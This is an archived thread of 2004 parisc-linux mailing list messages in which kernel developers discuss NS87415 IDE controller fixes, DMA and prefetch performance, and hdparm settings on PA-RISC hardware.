NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623499 10166 80.91.229.3 (22 Nov 2014 02:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9878 invoked by uid 65534); 12 Jul 2004 18:40:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 12 Jul 2004 20:40:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 58A3F3BE04; Mon, 12 Jul 2004 12:40:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24815-01; Mon, 12 Jul 2004 12:40:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BEDF83BE13; Mon, 12 Jul 2004 12:39:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADA473BDF5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:39:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23831-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:39:46 -0600 (MDT)
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id EA3E73BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:39:45 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i6CIdjEH024230;
	Mon, 12 Jul 2004 19:39:45 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1Bk5iK-00035p-DU; Mon, 12 Jul 2004 19:39:44 +0100
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040712160534.GA12046@colo.lackof.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21803

On Mon, Jul 12, 2004 at 10:05:34AM -0600, Grant Grundler wrote:

> On Mon, Jul 12, 2004 at 04:37:52AM +0100, M. Grabert wrote:
> > Tested above patch, but unfortunately it didn't work for me,
> 
> The rest of your post in fact suggests it did.
> Ie you should no longer need to "sea" at the boot prompt.

OOOooOOoooopps!
This isse was resolved by Randolph, back in March, 9th:

|>  ...just add in this bit in the fixup routine:"
|>  
|>   +  pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);                                                                               
|>   +  printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog); 

The next day (March, 10th) I sent you and Randolph a success report
after you both sent me patches:

|>  So far the only bugs remaining are the "lost interrupt" problems                
|>  for the promise/siimage drivers and getting DMA really working                  
|>  for the NS87415.

Those patches obviously made it into the CVS a couple the same day:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-March/033894.html
NS87415 onboard IDE + hard drivers worked since then, starting with the
(stock) 2.6.4-rc3-pa6 kernel.

Since everybody (Randolph, you, me) always replied privately in this
thread and we all didn't CC: the p-l, there was no record that
the 'mystery bug' had been fixed already.

> > the NS87415 still doesn't use DMA (or so it seems, at least it's
> > still the 3MB/s instead of the expected 30-40MB/s).
> > 
> > hdparm -c /dev/hda showed DMA was turned on, and I even set it on
> > again (hdparm -c 1), just to be sure, but it didn't make any
> > difference in performance :(
> 
> This patch makes no attempt at changing existing DMA behaviors.
> It's likely the NS87415 code needs to twiddle the "Prefetch Mode"
> bits for something other than ATAPI (no prefetch) to get
> better performance.

That's where I misunderstood you: I thought you patch was trying
to fix DMA.

BTW, I should have CC'ed my success report to p-l (back in March), maybe
this way you would have noticed/discovered more easily that this
particular bug has been fixed.

I hope my bug report was not the only reason what inspired you
to make this patch, otherwise it would have been an awful waste of
time :-/


Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 11:50:58 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20040712185058.GB546@tausq.org>
References: <20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712160534.GA12046@colo.lackof.org>
	<20040712183943.GA11805@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623499 10173 80.91.229.3 (22 Nov 2014 02:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:39 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26339 invoked by uid 65534); 12 Jul 2004 18:51:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 12 Jul 2004 20:51:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3987C3BE16; Mon, 12 Jul 2004 12:51:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24880-04; Mon, 12 Jul 2004 12:51:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B73383BE17; Mon, 12 Jul 2004 12:51:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D5B3BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:50:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24815-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:50:58 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 86B433BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:50:58 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D6AECCD299; Mon, 12 Jul 2004 11:50:58 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040712183943.GA11805@sal.ucc.ie>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21804

> That's where I misunderstood you: I thought you patch was trying
> to fix DMA.

well, it does make a siginificant difference on my machine with a CD-ROM

If I do:
hdparm -d 1 /dev/cdrom
hdparm -t /dev/cdrom
I get about 2.4MB/sec

whereas before i used to only get ~1MB/s

which is not to say it's very fast or near what it probably should be
able to do, but it's definitely faster :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 19:51:32 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20040712185132.GB11805@sal.ucc.ie>
References: <20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712041935.GA10211@sal.ucc.ie>
	<20040712161444.GB12046@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623499 10186 80.91.229.3 (22 Nov 2014 02:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3511 invoked by uid 65534); 12 Jul 2004 18:52:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 12 Jul 2004 20:52:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 596C53BE19; Mon, 12 Jul 2004 12:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25003-02; Mon, 12 Jul 2004 12:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AB9F43BCA9; Mon, 12 Jul 2004 12:51:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E4033BE18
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:51:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24880-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:51:35 -0600 (MDT)
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id D4C173BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 12:51:34 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i6CIpXEH025093;
	Mon, 12 Jul 2004 19:51:33 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1Bk5tk-00036V-Mb; Mon, 12 Jul 2004 19:51:32 +0100
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040712161444.GB12046@colo.lackof.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21805

On Mon, Jul 12, 2004 at 10:14:44AM -0600, Grant Grundler wrote:

> On Mon, Jul 12, 2004 at 05:19:35AM +0100, M. Grabert wrote:
> > BTW, what are the supported DMA modes of the NS87415?
> 
> Hopefully the ns87415 data sheet will specify that.
> 
> > I suppose BM-DMA means BusMaster-DMA, but does the NS87415 support any
> > Ultra-DMA modes, or only Multi-Word DMA?
> 
> DMA from the IDE controller are just regular PCI transactions.
> There is no such thing as Ultra-DMA for PCI.

I see what you mean. Yes, sorry for mixing up these terms in
the same sentence. But it seems you understood what I wanted to say ;)

[...]

> If the IDE controller is NOT prefetching data into a local buffer,
> I don't think it will be able to efficiently burst data across
> the PCI bus.

Ah, and you fixed prefetching with the latest patch? Now I understand
the issue ...

> > Also there is a significant CPU load whenever I do a read/write access to
> > the IDE hard disk (compared to the CPU load when I access the SCSI disks),
> > which might be another indication that it's still using PIO and not DMA.
> 
> Yes, that's probably a better indicator.
>
> > Is 
> >   'hdparm -c 1' (enable 32bit I/O)
> > and
> >   'hdparm -u 1' (unmasq_irq)
> > useful/implemented on PA-RISC?

Well, it doesn't change the performance in any way.

> I don't think this is platform specific.
> I expect both of those to be card/driver specific.

The first, yes. But I'm not sure about the second (unmask_irq).


Thanks,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess
	(and another mystery)!
Date: Mon, 12 Jul 2004 20:44:06 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1089661444.11710.19.camel@localhost.localdomain>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org>
	<20040711233439.GX546@tausq.org> <20040712033752.GA10163@sal.ucc.ie>
	<20040712041935.GA10211@sal.ucc.ie>
	<20040712161444.GB12046@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623499 10187 80.91.229.3 (22 Nov 2014 02:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26235 invoked by uid 65534); 12 Jul 2004 20:48:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 12 Jul 2004 22:48:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 012AF3BE1C; Mon, 12 Jul 2004 14:47:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25003-08; Mon, 12 Jul 2004 14:47:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 36F6C3BE16; Mon, 12 Jul 2004 14:47:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A30733BDF5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 14:47:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25003-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 14:47:12 -0600 (MDT)
Original-Received: from localhost.localdomain (the-village.bc.nu [81.2.110.252])
	by free.linux.hp.com (Postfix) with ESMTP id 071E63BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 14:47:11 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.11/8.12.11) with ESMTP id i6CJi9gr011902;
	Mon, 12 Jul 2004 20:44:09 +0100
Original-Received: (from alan@localhost)
	by localhost.localdomain (8.12.11/8.12.11/Submit) id i6CJi7mG011901;
	Mon, 12 Jul 2004 20:44:07 +0100
X-Authentication-Warning: localhost.localdomain: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20040712161444.GB12046@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21806

On Llu, 2004-07-12 at 17:14, Grant Grundler wrote:
> > Is 
> >   'hdparm -c 1' (enable 32bit I/O)
> > and
> >   'hdparm -u 1' (unmasq_irq)
> > useful/implemented on PA-RISC?
> 
> I don't think this is platform specific.
> I expect both of those to be card/driver specific.

Both are implemented in the core code. In the case of -c 1 it isnt going
to do anything relevant. -u 1 ought to have little effect in DMA modes

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Mon, 12 Jul 2004 23:59:28 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20040713055928.GD27696@colo.lackof.org>
References: <20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
	<20040711231401.GW546@tausq.org> <20040711233439.GX546@tausq.org>
	<20040712033752.GA10163@sal.ucc.ie>
	<20040712041935.GA10211@sal.ucc.ie>
	<20040712161444.GB12046@colo.lackof.org>
	<20040712185132.GB11805@sal.ucc.ie>
	<20040713035632.GA27696@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623500 10192 80.91.229.3 (22 Nov 2014 02:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2784 invoked by uid 65534); 13 Jul 2004 05:59:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 13 Jul 2004 07:59:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9B13E3BE20; Mon, 12 Jul 2004 23:59:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30211-09; Mon, 12 Jul 2004 23:59:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B73D63BE21; Mon, 12 Jul 2004 23:59:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89F143BE1B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 23:59:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30211-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 23:59:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 52A6C3BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 23:59:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C342E298033; Mon, 12 Jul 2004 23:59:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28813-09; Mon, 12 Jul 2004 23:59:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4841D298029; Mon, 12 Jul 2004 23:59:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040713035632.GA27696@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21807

On Mon, Jul 12, 2004 at 09:56:32PM -0600, Grant Grundler wrote:
> You need to read the 87560.pdf file that is available from
> the parisc-linux.org Tech Docs page.

Sorry - double brainfart.
I meant PC87415.pdf file and I just added it.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
